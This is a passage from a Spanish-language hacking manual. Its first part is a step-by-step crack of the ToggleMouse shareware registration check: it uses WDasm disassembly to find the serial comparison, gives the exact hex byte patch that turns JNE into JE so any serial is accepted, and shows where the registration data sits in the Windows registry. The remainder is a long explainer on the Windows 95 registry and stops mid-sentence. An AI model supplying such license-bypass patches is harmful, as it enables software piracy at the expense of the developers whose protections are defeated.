registro(serial). Escribamos un nombre p.e. 'M@NIAC PC', luego, una compañia p.e. 'KUt', y un serial cualquiera como '1234567890'... aparecerá un diálogo diciendo 'The registration information you have entered is not valid. Please confirm that you have entered the information exactly as it was provided', tienes que saber aunque sea un poco de inglés básico para saber que esto es decir 'La información escrita no es válida. Por favor confirme que ha escrito la información tal como se le fue dado'...Nuestro objetivo por esta vez en Wdasm, será buscar cadenas relacionadas con registros(o sea, diálogos de compra y serial) .. busquemos y las cadenas que me aparecieron y encontré algo fueron: String Resource ID=00157: "EconoClick has saved you %d clicks." String Resource ID=00158: "You haven't taken advantage of the EconoClick feature." String Resource ID=00159: "You've clicked %d times, double-clicked %d times, right-clic" String Resource ID=00160: "You haven't used the PopDesk feature yet." String Resource ID=00161: "You have used the PopDesk feature %d times." String Resource ID=00162: "Your web browser will now be started and the Toggle Software" String Resource ID=00163: "Your web browser could not be started automatically. Please " String Resource ID=00164: "Registration is Complete!Thank you very much for registeri" String Resource ID=00165: "The registration information you have entered is not valid."

Page 16: El Libro Negro Del Hacker2

16

String Resource ID=00166: "Dear Customer,Our registration system has changed and in o" String Resource ID=00167: "On some systems, color scrolling cursors may flicker while y" String Resource ID=57344: "ToggleMOUSE" String Resource ID=61446: "an unnamed file" String Resource ID=61472: "No error message is available." String Resource ID=61473: "An unsupported operation was attempted." String Resource ID=61474: "A required resource was unavailable." String Resource ID=61475: "Out of memory." He remarcado las cadenas queme parecieron interesantes, si te acuerdas, la segunda que remarqué te parece conocida .. ¿Verdad?.. y la primera si es que te diste cuenta es la cadena que te dice que te registraste bien, en el cuadro de diálogos de Wdasm demosle click sobre la cadena 'Registration is Complete!...' para ver de que se trata, pero realmente no nos interesará esto ya que buscamos el por qué se produjo el error, o sea, demosle doble click a la cadena 'The registration information ...' y veremos lo siguiente : * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) | :0040E8DF 6AFF push FFFFFFFF :0040E8E1 6A10 push 00000010 * Possible Reference to String Resource ID=00165: "The registration information you have entered is not valid." | :0040E8E3 68A5000000 push 000000A5 :0040E8E8 E840F70100 call 0042E02D :0040E8ED EB2F jmp 0040E91E Con esto los tengo confundidos, ya que hay 2 cosas que no les enseñe de ensamblador antes, la función push, y call, a call, tal como lo suena su nombre en inglés 'llama' a funciones. En este caso llamará a otras funciones para que se ejecuten (jne,mov, etc.) Daré este código pequeño para que vean de que se trata la función 'call'. mov ax,23h ; mueve el valor de 23 a AX call muevete ; llamada a 'muevete xor ax,ax xor bx,bx muevete: ; declara la función 'muevete' mov bx,24h ; mueve el valor 24 a BX ret ; otra función no vista, ret 'retorna' a la función.., retorna desde el call hacia adelante. Una vez terminada la función 'muevete' volverá a la instrucción siguiente después de la 'llamada', o sea, seguirá desde el xor ax,ax en adelante por el ret, y con esto dejará a AX y BX en 0. Por las instrucciones XOR.

Page 17: El Libro Negro Del Hacker2

17

El comando push pone un valor en el tope de la 'pila', me explico. Si decimos como arriba push 00000000 sería mover el valor a la memoria. O sea como mover el valor 00000000 (Que es igual a 0) a la memoria6 para que quede con ese valor, esta memoria es como 'la cima' de los registros. (Como dice Ed!son, el Push es para guardar valores para su uso posterior) Sigamos con lo nuestro, tenemos la palabra "The registration information you have entered is not valid.", pero si prestamos atención veremos que arriba tiene escrito ' Referenced by a (U)nconditional or (C)onditional Jump at Address:' lo que significa 'Tiene una referencia de un salto (c)ondicional o (i)ncondicional de la dirección", esto quiere decir que la instrucción de error ("The registration information ...) Fue llamada desde una dirección, y nos aparece el siguiente texto: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) Para esto quiere decir que la cadena de error fue llamada desde la dirección 0040E82A, tenemos que presionar el botón 'IR A UBICACIÓN', o ir al menú 'Goto' (Ir a..) y ver 'Goto Code Location'.. y escribiremos la dirección de la cuál se llama, o sea 0040E82A, iremos ahí y nos encontraremos con el siguiente pedazo de código: * Possible Reference to Dialog: DialogID_7801, CONTROL_ID:0064, "" | :0040E794 6A64 push 00000064 :0040E796 8BC3 mov eax, ebx :0040E798 33D2 xor edx, edx :0040E79A 59 pop ecx :0040E79B F7F1 div ecx :0040E79D FF7508 push [ebp+08] :0040E7A0 8BF0 mov esi, eax :0040E7A2 8BDE mov ebx, esi :0040E7A4 81F321332153 xor ebx, 53213321 :0040E7AA E8E1570000 call 00413F90 :0040E7AF 3DD7E7FC00 cmp eax, 00FCE7D7 :0040E7B4 59 pop ecx :0040E7B5 0F8434010000 je 0040E8EF :0040E7BB FF7508 push [ebp+08] :0040E7BE E8CD570000 call 00413F90 :0040E7C3 3D00A02E02 cmp eax, 022EA000 :0040E7C8 59 pop ecx :0040E7C9 0F8420010000 je 0040E8EF :0040E7CF FF7508 push [ebp+08] :0040E7D2 E8B9570000 call 00413F90 :0040E7D7 3DF87A4138 cmp eax, 38417AF8 :0040E7DC 59 pop ecx :0040E7DD 0F840C010000 je 0040E8EF :0040E7E3 FF7508 push [ebp+08] :0040E7E6 E8A5570000 call 00413F90 :0040E7EB 3D9EB18C00 cmp eax, 008CB19E

Page 18: El Libro Negro Del Hacker2

18

:0040E7F0 59 pop ecx :0040E7F1 0F84F8000000 je 0040E8EF :0040E7F7 FF7508 push [ebp+08] :0040E7FA E891570000 call 00413F90 :0040E7FF 3DD713B200 cmp eax, 00B213D7 :0040E804 59 pop ecx :0040E805 0F84E4000000 je 0040E8EF :0040E80B FF7508 push [ebp+08] :0040E80E E87D570000 call 00413F90 :0040E813 3DF6336A2C cmp eax, 2C6A33F6 :0040E818 59 pop ecx :0040E819 0F84D0000000 je 0040E8EF :0040E81F FF7508 push [ebp+08] :0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 :0040E835 8B4004 mov eax, dword ptr [eax+04] :0040E838 56 push esi * Possible StringData Ref from Data Obj ->"Registration" | :0040E839 BEC4264400 mov esi, 004426C4 He remarcado claramente la instrucción que llama al error, en mi primer ejemplo de ensamblador, puse un Jne acaba, y en este caso llamamos a un Jne 0040E8DF, no se preocupen, cuando se programa en ensamblador, se etiquetan las instrucciones como acaba, digamos que es lo mismo pero que en vez de etiquetas como 'acaba' se etiquetan cuando se desensambla en direcciones tales como '0040E8DF'... Tal como les dije en unas páginas atrás, ¿Qué haremos con esta instrucción que salta si no es equivalente?.. exacto!, la revertiremos de una manera de la cuál pensará que estamos registrados correctamente si escribimos un código erroneo.. pero.. ¡Cuidado!, vamos a aprender que si es que revertimos el salto ahora ... pensemos un poquito .. si lo revertimos para que si escribimos un serial incorrecto piense que es correcto .. ¿Qué pasará si escribimos el serial correcto? .. BUM! el error se arrojará en ese caso .. pero .. hey! antes de que hagas cualquier tipo de cambio como bestia salvaje sin nada que hacer mas que reventar unos bytes. vamos a lanzar el monitor de registro del sistema. para observar si es que el programa produce cambios en el registro de Windows.. Más tarde se explicará que és el registro de Windows. Puedes descargar el monitor de registro aquí o puedes usar este otro. 4.1.0 -Una pequeña explicación. Si es que miramos arriba del salto jne 0040E8DF podemos observar una call. :0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi

Page 19: El Libro Negro Del Hacker2

19

:0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 Si es que recuerdas, 'push' era para mantener un valor temporalmente en la cima de la memoria, el comando mencionado aqui ('pop') obtiene el valor del 'push' puesto en la cima de la memoria y al mismo tiempo le agrega 2 unidades, más tarde hablaremos de estas llamadas 'unidades'. En este ejemplo, el pop obtiene el valor de la cima de ecx. ¿ Y para que menciono además del pop a la función call ?.. puesto que antes del salto al error, (jne 0040E8DF) se llama a este famoso call que va a la dirección en la cuál se comprueba el serial que has escrito, y si recuerdas, después de comprobar todo este famoso enredo vuelve (Un RET) y Salta si no es equivalente el serial que has escrito .. ¿Ves que no es tan difícil como parece?. 4.2 -Muerte a los bytes. Lancemos ahora tu editor hexadecimal, abre el ejecutable de ToggleMouse(ToggleMouse.exe) y vayamos al menú 'Edit' y luego 'Replace' busquemos la cadena hexadecimal de JNE (Tal como lo expliqué arriba) 0F85AF000000 y lo reemplazaremos con la instrucción JE(La inversa) que es 0F84, o sea que sería 0F84AF000000. Usa para esto UltraEdit o Hex WorkShop, el hacker's view funciona de otra manera que explicaré en otro capítulo. Una vez que hayamos guardado los cambios, iniciemos ToggleMouse con el monitor de registro abierto y reluciente esperando a su víctima ser acosada. Vayamos al menú order, presionemos 'enter regitration code', escribamos el nombre que queramos registrar, una compañia, y cualquier número serial, presionemos 'Ok' y veamos que sucede .. 'Registration Complete! thank you very much for registering ..' ... estamos registrados, no estemos contentos con eso, hemos descubierto una estúpida protección. Pero todavía no se acaba esto!, tenemos que aprender más y más del programa, no solo trata este curso de matar y matar, sino, el verdadero conocimiento en sí!, ahora, veamos el monitor de registro.. dice que se abrió y creo una clave en : HKEY_CURRENT_USER\Software\Toggle Software\ToggleMOUSE\Registration ¿Poco imaginativo no .. ?... Bueno, veamos lo que tenemos aqui, en mi caso, puse como nombre a : M@NIAC PC, de compañia a : KUt99, y después, nos vamos a 'ejecutar' en el menú de Inicio de Win95, y escribimos 'regedit', lanzamos con esto al editor de registro de configuraciones, presionamos F3 para Buscar, y escribimos ToggleMOUSE, después de una búsqueda los encontraremos por aquí, en nuestra izquierda deberíamos tener lo siguiente: " ToggleSoftware "ToggleMOUSE "Blink "PanicStopper

Page 20: El Libro Negro Del Hacker2

20

"QuikScroll "Registration <- Esta es la cadena interesante. Demosle un click y apareceremos por aquí a la derecha : Tal como podemos apreciar tenemos la compañía ; (KUt99), el Nombre; (M@NIAC PC) y el número de registro para estos dos nombres, (31071472) .. Vamos a tener un grave problema si no utilizamos los mismos nombres y compañia, podríamos probar eliminando todos estos valores (Excepto siempre el que dice (predeterminado)).. explicación de lo dicho, el programa, para generar su propio número serial, hace sus propias operaciones algebráicas con letras, o sea, para cada letra que se genere, hará su propia multiplicación, división, étc. esto se explicará más adelante en un capítulo mas avanzado. Tomemos por ejemplo otra operación de un programa inventado, o sea, en el programa dice 'Nombre' y 'serial'. Imaginense que el programa tiene como función poner en este caso, que si como nombre tenemos una 'm' minúscula esta vale 8, y si es mayúscula esta vale 3, ¿ok?, y si ponemos una 'm' junto con una 'a' hará una operación matemática complicada... traten de entenderlo superficialmente, ya que se estudará esto más tarde con más interés en ello. 5 -El registro de Windows Lo siguiente es un trozo del proyecto Nakarko: ,;;;;;;;;;;, _-=-_pRoYeKtO nAkArKo_-=-_ ,;;;;;;;;;;, karlitoxZ '99 ... aL TaJo! El Registro de M$-Windown95 ... Saludos peñita! Aquí estoy otra vez después de unas largas y merecidas vacaciones... voy a hacer un ligero paréntesis y en este manual no voy a explicaros ningún crack, otra vez será amiguetes... En esta ocasión voy a tratar de explicaros tooodito sobre una de las "armas" para cracking que el patético Windown pone a nuestro servicio, el Registro. El principal motivo por el que escribo este texto es superar la vagancia en la que estoy sumido, hace tiempo que no me trago un mísero manual, pues bueno aprovecho mis indagaciones en este temita y para hacerme más amena la lectura os sirvo este texto, a ver si os vale de algo... Este manual no está dirigido esencialmente al cracking, es más bien una *.HLP de esos que M$ nos regala que puede ser interesante tanto para un usuario cualquiera como para los programadores de aplicaciones para su pseudo-SO. ¿? Loading Data...Qué es el Registro de Windown El registro es una base de datos definida por el sistema que tanto w95 como las aplicaciones que sobre él funcionan utilizan para guardar y obtener información sobre determinadas configuraciones, en él podemos encontrar desde las extensiones asociadas a cada programa, el lugar donde están determinadas dlls, el contenido de menús desplegables, los drivers necesarios para nuestro hard... hasta las últimas urls que hemos visitado. Casi un 100% de lo que en nuestro PC ocurre está grabado en el registro, poco escapa de sus garras... La información que se guarda en nuestro registro es información en binario, esta información varia dependiendo de la versión de windown en uso y del hard/software que tengamos instalado.

Page 21: El Libro Negro Del Hacker2

21

Para manipular la información del registro podemos hacerlo manualmente usando algún proggie que nos lo permita o utilizando las funciones del registro (para programadores), este tema lo tocaremos más adelante. El registro está dentro de dos archivos, system.dat y user.dat que suelen ser de tamaño aberrante (+2megas). El registro es accesible y modificable gracias (entre otros) al REGEDIT.EXE uno de los muchos programas "escondidos" en el directorio Windows. ¿? Estructura del registro. El registro almacena datos en forma de árbol jerarquizado, cada rama del árbol es llamada "Key" , cada "Key" puede contener "SubKeys" y entradas de datos llamadas "Values" . Para haceros una idea de cómo es esto imaginaros "Key" como un directorio donde hay subdirectorios "Subkey" y ficheros con datos "Values". Muchas veces la presencia de una "Key" es lo único que necesita un programa para funcionar, otras veces nos encontramos con uno o varios "Subkeys" y/o "Values" dentro de una "Key", una "Key " puede tener tantos "S" y "V" como necesite y los "Values" pueden estar en cualquier formato. Cada "Key" tiene un nombre que consiste en 1 o más caracteres imprimibles en formato ANSI, esto es, caracteres con valores de rango 32-127, estos nombres no pueden empezar por "\" (backslash o antibarra) ni por " * ó ¿". Las "Key" que comienzan por un punto ( . ) están reservadas. Cada "Subkey" sólo está definida en la "Key" inmediatamente superior al nivel donde la "Subkey" se aloja, de esto sacamos dos cosas, dentro de diferentes "Key" podemos tener "Subkeys" de nombre idéntico y además estas "Subkeys" no tienen por qué tener nada que ver, cada rama del registro es independiente de las demás a no ser que dentro de la rama se explique la relación existente entre las dos. ¿? Ramas del Registro Antes de escribir un dato en el registro una aplicación debe abrir una "Key", para abrir una nueva "Key" la aplicación en cuestión debe apoyarse en otra "Key" ya abierta, el sistema proporciona varias "Keys" que siempre se mantienen abiertas como soporte para las nuevas "Keys", las apliaciones usan estas "Keys" standard como "entrada" al registro. Vamos a ver qué es lo que tienen cada una de estas "Keys", he tratado de seguir el orden tal cual aparece al abrir el Regedit y he omitido partes "engorrosas" para hacer más fácil de seguir este papiro y espero que así sea porque esto es un tocho del horror... Al abrir nuestro registro con el Regedit.exe u otro programa que nos permita esto nos encontramos con:

Page 22: El Libro Negro Del Hacker2

22

HKEY_CLASSES_ROOT: aquí tenemos registradas todas las extensiones, tipos de archivo. HKEY_CURRENT_USER: detallado de las configuraciones del usuario actual. HKEY_LOCAL_MACHINE: Configuraciones de nuestro PC tales como dónde está nuestro software y dónde los drivers instalados. HKEY_USERS: las configuraciones de los usuarios de ese PC (urls visitadas, aplicaciones favoritas...). HKEY_CURRENT_CONFIG: una especie de especificación de LOCAL_MACHINE, más detalles de la configuración actual. HKEY_DYNAMIC_DATA: la información "dinámica", se "forma" al encender el ordenador y desaparece al apagarlo. Podemos considerar lo anterior como grandes árboles, al abrir cualquiera de las anteriores ramas nos encontramos montones de hojas llenas de información, a continuación un detallado de cada una de estas ramas... ¿? HKEY_CLASSES_ROOT (HKCR) En el GUI "graphic user interface" de windown todo (cada archivo, directorio, disco, etc. ) es considerado como un objeto, cada objeto tiene asociadas unas propiedades, esta rama ("Key") del registro contiene un listado de los objetos y de sus propiedades, por ejemplo *.mid, todos sabemos que son archivos de sonido, pues al abrir HKCR y la "Subkey" .mid veríamos lo siguiente: Nombre: Datos: (predeterminado) "midfile" Content Type "audio/mid" Pues tenemos un objeto "midfile" con propiedades "audio/mid", es decir, midfile está asociado a audio/mid, un cambio de este "Value" nos dejaría sin poder escuchar la macarena en los bonitos scripts de mIRC... vale la pena cambiarla? ;P

Page 23: El Libro Negro Del Hacker2

23

Las principales funciones de estas claves son: 1º Asociar la extensión de un archivo a un tipo de objeto. 2º Asociar un icono a un tipo de objeto. 3º Asociar una serie de acciones de la línea de comandos a un tipo de objeto. 4º Asociar las opciones de los menús contextuales (desplegables) a un tipo de objeto. 5º Definir lo que aparecerá en la ventana de propiedades (right-clickàpropiedades) para cada tipo de objeto. Como habréis deducido cambiando un "Value" podemos asociar un tipo de archivo a un determinado programa, cambiar el icono de un tipo de archivo, añadir o quitar nuevos tipos de archivos, etc. Etc. Dentro de KCR distinguimos tres tipos de "Subkeys": a) Extensiones de archivos, asocian las extensiones con los tipos de objeto. Más clarito, estas "Subkeys" se ocupan de decir qué hace windown con cada tipo de archivo (archivos que llevan asociadas determinadas acciones), qué menús despliega al hacer right-click sobre él y las propiedades que se muestran al acceder a este menú. Son de este tipo "Subkeys" como .arj, .com, .cab, etc. b) Tipo de objeto, define un objeto en función de sus menús desplegables, sus propiedades, su icono y sus enlaces CLSID (tratado a continuación). c) CLSID, nos da información OLE (object linking and enbedding, una aplicación es llamada por otra automáticamente para editar datos) y DDE ( dynamic data exchange, intercambio de datos entre dos aplicaciones) sobre tipos de objeto, también puede contener información sobre los menús contextuales, propiedades e icono. Es importante saber que cada "Subkey" CLSID es única o al menos eso aseguran desde M$ donde se curraron un programilla sólo para este temita (generador de claves de 32 dígitos en hexa...). Es una clave bastante importante en el cracking puesto que gracias a ella podremos conocer métodos de direccionamiento de memoria y enlaces a dll´s con funciones OLE ( GetDlgItem,lstrcmp.....). Al abrir el registro con nuestro regedit.exe y echar un vistazo a KCR nos encontramos que dentro de muchas de las "Subkeys" hay otras "Subkeys" tales como: a) Shell: determina acciones tales como abrir, imprimir, copiar, etc. Por ejemplo una "Subkey" de este tipo determina que reproductor multimedia abre nuestros archivos *.mid. La rama para abrir y ejecutar estos archivos sería: [HKEY_CLASSES_ROOT\midfile\shell]

Page 24: El Libro Negro Del Hacker2

24

@="Play" [HKEY_CLASSES_ROOT\midfile\shell\open] @="Abrir" [HKEY_CLASSES_ROOT\midfile\shell\open\command] @="C:\\WINDOWS\\rundll32.exe C:\\WINDOWS\\SYSTEM\\amovie.ocx,RunDll /open %1" [HKEY_CLASSES_ROOT\midfile\shell\play] @="Reproducir" [HKEY_CLASSES_ROOT\midfile\shell\play\command] @="C:\\WINDOWS\\rundll32.exe C:\\WINDOWS\\SYSTEM\\amovie.ocx,RunDll /play /close %1" b) Shellex: contienen "Subkeys" que determinan las funciones OLE y DDE para cada tipo de objeto, no son más que cadenas numéricas que apuntan por ejemplo a la dll que ejecuta una determinada operación y definen las propiedades de sus menús contextuales. c) Shellnew: contienen el valor de la cadena numérica del comando u orden que determina la apertura de un nuevo objeto. Un ejemplo muy sencillito es la clave *.BMP cuya shellnew nos indica el programa con que editaremos una nueva imagen de este tipo. d) Default Icon: contienen el valor de la cadena numérica que nos indica el icono por defecto de cada tipo de objeto, normalmente apuntarán al shell32.dll, pifmgrd.dll ( en \windows\system) o moricons.dll ( en \windows) tal que al primer icono de la lista le asigna el 0 al siguiente el uno y así sucesivamente de la siguiente manera: C:\Windows\moricons.dll,0 ¿? HKEY_CURRENT_USER (HKCU) Las "Subkeys" de esta "Key" contienen las configuraciones del actual usuario, en caso de ser una máquina con un único usuario esta clave es casi idéntica al .DEFAULT de HKEY_USERS. Lo que en ella tenemos es todas las preferencias que en algún momento hayamos puesto añadidas a todas las configuraciones por defecto. Contiene toda la información sobre el sistema que no tiene HKEY_LOCAL_MACHINE, esto es, configuraciones del software y preferencias del usuario. Es una parte del registro que

Page 25: El Libro Negro Del Hacker2

25

podemos cambiar casi sin riesgo de causar un estropicio, casi todas las opciones contenidas en esta clave son modificables desde algún "peso pesado" del Windows, como el panel de control, la barra de tareas, cualquier menú de propiedades... Dentro de esta "Key" y con la vista puesta en el cracking la clave \Software es de los más jugosa, en ella encontramos desde números de serie hasta jodiendas que nos imposibilitan registrar la aplicación pero esto viene luego... ;P En esta "Key" nos encontramos con: a) \AppEvents: nos define los sonidos y otras mingadas ( masterCaR-d-19 feo ;P ) con las que windown nos aturde siempre que ejecutamos un programa, metemos la gamba y ezetera ezetera al cubo... EventLabels nos da el nombre de la mingada, Schemes\Apps la localización de las mingadas y Schemes\names pues el nombre del tema. b) \Control Panel: contiene las "Subkeys" que nos definen la apariencia de nuestro windown (el color de las ventanas, su tamaño, etc.), las opciones de accesibilidad como las soundsentry o las stickykeys, los cursores, el escritorio (fondo, tamaño de iconos,etc.). Estas opciones son totalmente configurables desde el panel de control. c) \InstallLocationsMRU: bastante clarito el nombre, estas "Subkeys" contienen la localización del software instalado, contiene por ejemplo todas las localizaciones de programas instalados con "Wizards" como InstallShield, etc. M.R.U. à Most-recently-used, self explanatory ;P d) \Keyboard Layout: como supongo habrás deducido pues contiene la definición de tu teclado, en función de país,etc. Y basándose en un método de numeración que todavía sólo está en conocimiento de sus creadores...pijadas... e) \Network: contiene tus conexiones de red anteriores divididas en dos clases: Persistent: define los dispositivos y unidades que defines al dejar marcada la opción de "reconectar al desconectar" (valga la redundancia...) las claves contienen información como tu navegador, tu nombre de usuario,etc. Estas claves aparecen como iconos en "Mi Pc". Recent: las últimas conexiones de red que has realizado sin la opción de reconectar chequeada, aparecen en menús desplegables cuando vas a realizar una conexión de red (Path). f) \RemoteAccess: contiene las configuraciones de los marcadores de conexión en red, se divide en dos ramas: Addresses: contiene una definición en binario de cada conexión que tengas montada en "acceso telefónico a redes". Profile: que se divide a su vez en una rama para cada conexión, en estas ramas encontramos los valores de IP, dominio, nombre de usuario, etc. De cada conexión.

Page 26: El Libro Negro Del Hacker2

26

g) \Software: todas las "Subkeys" que componen esta "Subkey" ( me estoy empezando a cansar de key subkey... ) representan software instalado en tu PC o software que has tenido instalado, las ramas tienen o bien el nombre del programa o bien el nombre del fabricante como distintivo, a veces podemos encontrar claves con el mismo nombre dentro de Local_Machine pero normalmente el contenido será distinto en cada caso. El contenido de las ramas que podemos encontrar suele ser muy parecido, preferencias del usuario, direcciones de archivos guardados y lo más interesante fechas de instalación, nombres de usuario/números de serie y claves que determinan si el programa está o no registrado, más adelante tocaremos un poco más este temita tan interesante. ¿? HKEY_LOCAL_MACHINE (HKLM) Las diferentes entradas de esta "Key" definen el estado físico de nuestro PC, incluyendo datos sobre el BUS, la memoria del sistema y las configuraciones de nuestro hardware y software (registrado / no registrado p.ej.). Contiene 7 "Subkeys" que son: a) \Config: en esta rama se guardan las configuraciones de tu hardware que defines a través del "Panel de Control" pulsando en el icono de "Sistema". La última configuración antes de apagar el PC se copia a HKCC al iniciar el equipo. b) \Enum: aquí es donde están guardadas la mayoría de las configuraciones de tu hardware, tales como los dispositivos PNP, la BIOS, PCI, ESDI, FLOP, ISAPNP, Monitor, SCSI y los dispositivos de conexión en red. c) \Hardware: está dividida en dos ramas: Description: que contiene la rama \System\Floating Point Processor, que será 0 o 1 dependiendo de su existencia. Devicemap: que contiene la rama \serialcomm donde se listan tus puertos. d) \Network: contiene la rama \Logon que a su vez esta compuesto de los valores LMLogon (será 1 si la máquina está en ese momento conectada en red y 0 en caso contrario), logonvalidated (1 para estar validado), Policy Handler, Primary Provider , username, and UserProfiles.

Page 27: El Libro Negro Del Hacker2

27

e) \Security: dentro de esta rama hay dos claves, un "Value"nada más abrir esta rama y que apunta a una clave remota donde estarán las opciones de seguridad de red como son por ejemplo los derechos de acceso. La "Subkey" \Provider contiene información del servidor. f) \Software: la mayoría de las "Subkeys" contenidas aquí nos dan información sobre la versión del programa, su licencia,etc. Pero también podemos encontrar otra información interesante como los drivers que se utilizan al conectarse en red, fuentes, las características de la emulación de MS/DOS, zona horaria, etc. g) \System: aquí nos encontramos con una rama de nombre \CurrentControlSet que se abre en \Control y \Services, cada una de estas ramas están llenas de ramitas, la mayoría son de explicación trivial, todo el mundo sabrá o se imaginará qué hace la rama ComputerName o Shutdown o KeyboardLayout, etc. Os puede dar problemas VMM32 que es una lista de los VxD que tenéis trabajando y poco más. Cuidado con tocar estas configuraciones que os puede dar algún disgusto. ¿? HKEY_USERS (HKU) Aquí se definen las configuraciones de cada usuario y las configuraciones que por defecto se le otorgan a los nuevos usuarios, \.Default y \nombredeusuario respectivamente. Las estructuras de cada una de estas "Subkeys" es semejante a HKCU, al efectuar el "login" se copiarán en HKCU las configuraciones contenidas en su \nombredeusuario. ¿? HKEY_CURRENT_CONFIG (HKCC) Los contenidos de esta "Key" se toman al iniciar el ordenata de las configuaciones alojadas en cada perfil de usuario en \Local_Machine\Config. Aquí nos encontramos con tres "Subkeys": a) \Display: dividido en \Font que contiene las cadenas de valores que determinan las fuentes que pueden aparecer en la ventana principal y \Settings que contiene las cadenas de valores que determinan: BitsPerPixel, diferentes DPIs, oemfonts, fixedfon, fonts y Resolution. b) \Software: donde encontramos detalles de las configuraciones de internet como los proxys o el autodial.

Page 28: El Libro Negro Del Hacker2

28

c) \System: que sólo contiene una rama \CurrentControlSet\control\Print\Printers donde tenemos información sobre las impresoras que tenemos definidas a través de InicioàConfiguraciónàImpresoras ¿? HKEY_DYN_DATA (HKDD) En esta "Key" tenemos la información de nuestro sistema detectada al iniciarlo, esta información como su nombre indica es dinámica y por lo tanto susceptible de cambiar en cualquier momento lo que hace que parezca que esta clave no se guarda. Dentro de HKDD nos topamos con: a) \ConfigManager: con una sola rama de nombre \Enum que se abre en un montón de ramitas numeradas que definen el estado, la localización, los problemas detectados y la clave del hardware de los dispositivos PNP detectados al iniciar el compiuter. b) \PerfStats: las estadísticas del funcionamiento actual del ordenata son guardadas en esta "Subkey" bajo apariencia de "Values" en binario, se dice que algunas de las ramas definen el sistema de archivos, o el "management" de la memoria pero no he encontrado nada claro en este tema, sólo conjeturas y "parecequeeeee..." lo que está claro es que estas claves se refieren al funcionamiento de nuestra amada computadora y que indagar en este tema no es de ninguna utilidad para nosotros, de todas formas como el saber no ocupa lugar agradecería info de este tema y lo incluiría al momento en este texto. c) \Security: con una sola rama de nombre \Provider donde encontramos un "espejo" de la rama HKLM\Security\Provider, mientras la primera va cambiando según cambien las propiedades de la red la segunda se mantiene estática. Ya tenemos definido el registro, lo siguiente que vamos a hacer es aprender a modificarlo, porqueeee para qué nos sirve conocer cómo funciona algo si no podemos jugar con ello hasta estropearlo? ;P ¿? Restaurar el Registro.

Page 29: El Libro Negro Del Hacker2

29

Como más vale prevenir que curar antes de enseñaros cómo urgar en el registro vamos a ver cómo podemos recuperar el registro por si las moscas se nos va la pinza y conseguimos que o bien nuestro windown no cargue o bien alguna aplicación parece ausente... Los pasos para recuperar el registro antiguo son los siguientes: 1 Haga clic en el botón "Inicio" y, después, en Apagar el sistema. 2 Haga clic en Reiniciar el equipo en modo MS-DOS y, después, haga clic en "Sí". 3 Cambie al directorio de Windows. Por ejemplo, si su directorio de Windows es C:\Windows, deberá escribir: cd c:\windows 4 Escriba los siguientes comandos y presione ENTRAR después de cada uno. (Observe que System.da0 y User.da0 contienen el número cero). attrib -h -r -s system.dat attrib -h -r -s system.da0 copy system.da0 system.dat attrib -h -r -s user.dat attrib -h -r -s user.da0 copy user.da0 user.dat 5 Reinicie su equipo. Con esto conseguiremos restaurar el último registro que cargó correctamente nuestra pcera. ¿? Almacenamiento de datos en el registro. No podemos guardar lo que gustemos en el registro, hay unos límites técnicos y físicos al tipo y tamaño de datos que una aplicación puede guardar en el registro, existen ciertas líneas maestras a seguir para promover la eficiencia del sistema. Una aplicación puede almacenar información sobre configuraciones y de inicialización en el registro pero otros tipos de datos deben ser guardados en otro sitio. Generalmente los datos consistentes en más de 2KB deben guardarse como un archivo usando una "Key" que se refiera a la localización de estos datos, este mismo proceso debe seguirse para evitar duplicar grandes cantidades de datos en el registro.

Page 30: El Libro Negro Del Hacker2

30

Nunca se debe guardar en el registro código binario ejecutable. Un "Value" ocupa mucho menos espacio que una "Key", por esto y para economizar espacio una aplicación puede agrupar datos de carácter similar y guardar la estructura como un "Value" mejor que guardarla en "Keys" separadas, si se usa este método es aconsejable pasar los datos a binario para evitar incompatibilidades. Además y para guardar un orden diferenciaremos, a la hora de meter un dato al registro, entre dos categorías de datos, información de la computadora e información del usuario, gracias a esta diferenciación una aplicación puede soportar múltiples usuarios, localizar información acerca de un usuario específico a través de una red y usar la información personalizada en distintas localizaciones permitiendo así que la localización del perfil de un usuario sea totalmente independiente. Por ejemplo cuando una aplicación es instalada puede guardar los datos referentes al ordenata bajo HKEY_LOCAL_MACHINE. Puede crear "Subkeys" para el nombre de la compañía, nombre del producto, versión, etc. : HKEY_LOCAL_MACHINE\Software\NakarkoSoft\Expediente\3.0 La apliación puede guardar la información referente al usuario bajo la "Key" HKEY_CURRENT_USER, como en el ejemplo siguiente: HKEY_CURRENT_USER\Software\NakarkoSoft\Expediente\3.0\User\karlitoxZ\ ¿? Hands On ;P Modificando el registro manualmente. Esto es muy sencillito, tanto como cambiar de nombre a una carpeta mediante el "Explorador" o cambiar las propiedades de un archivo con el menú contextual. Como esto se hace más fácil de entender gráficamente os pongo un ejemplito pero antes de nada tened muy en cuenta qué es lo que váis a modificar, nunca modifiquéis algo que no sabéis para qué sirve o de lo contrario... las claves que menos peligro tienen son las claves que encontramos dentro de las "Subkeys" \Software por lo que ahí va un ejemplillo con una de ellas: [HKEY_CURRENT_USER\Software\NukeNabber 2.0\Options] {keys y Subkeys} "savewindowpos"="0" {values, 1=True 0=False} "runminimized"="1" "usesystray"="1" "stayontop"="0"

Page 31: El Libro Negro Del Hacker2

31

"killportscan"="1" "client"="1" "Services0"="mirc" "langdesc"="Spanish" "langnum"="4" En esta ramita nos encontramos con opciones del NukeNabber personalizables a través de sus menús, un 1 nos indica que la opción está "encendida" y un 0 pues lo contrario. Tenemos marcada la opción de "runminimized" con lo que el programa trabaja minimizado, tenéis aquí un ejemplo de "Value" en binario que inmediatamente vamos a cambiar para que el programa no curre minimizado. El tema sería de la siguiente manera: 1 Abrimos el Regedit.exe alojado en C:\Windows. 2 Click en HKCUà Software à NukeNabber2.0 à Options. 3 Doble-Click en el "Value" a cambiar, en este caso "runminimized". 4 Nos aparece una ventanita donde tenemos nombre de valor e información del valor, pulsamos en lo segundo e introducimos un 0 para anular esa opción y le damos al Enter. 5 Pulsamos F5 para actualizar el registro. Sencillo no? Pues a jugar un poquito... Cambiar de nombre a una "Subkey" es todavía más sencillo, idéntico proceso al de cambiar de nombre a una carpeta en el "Explorador". Se me había olvidado, también podemos modificar la información del registro a través de archivos *.reg, haciendo doble-click sobre 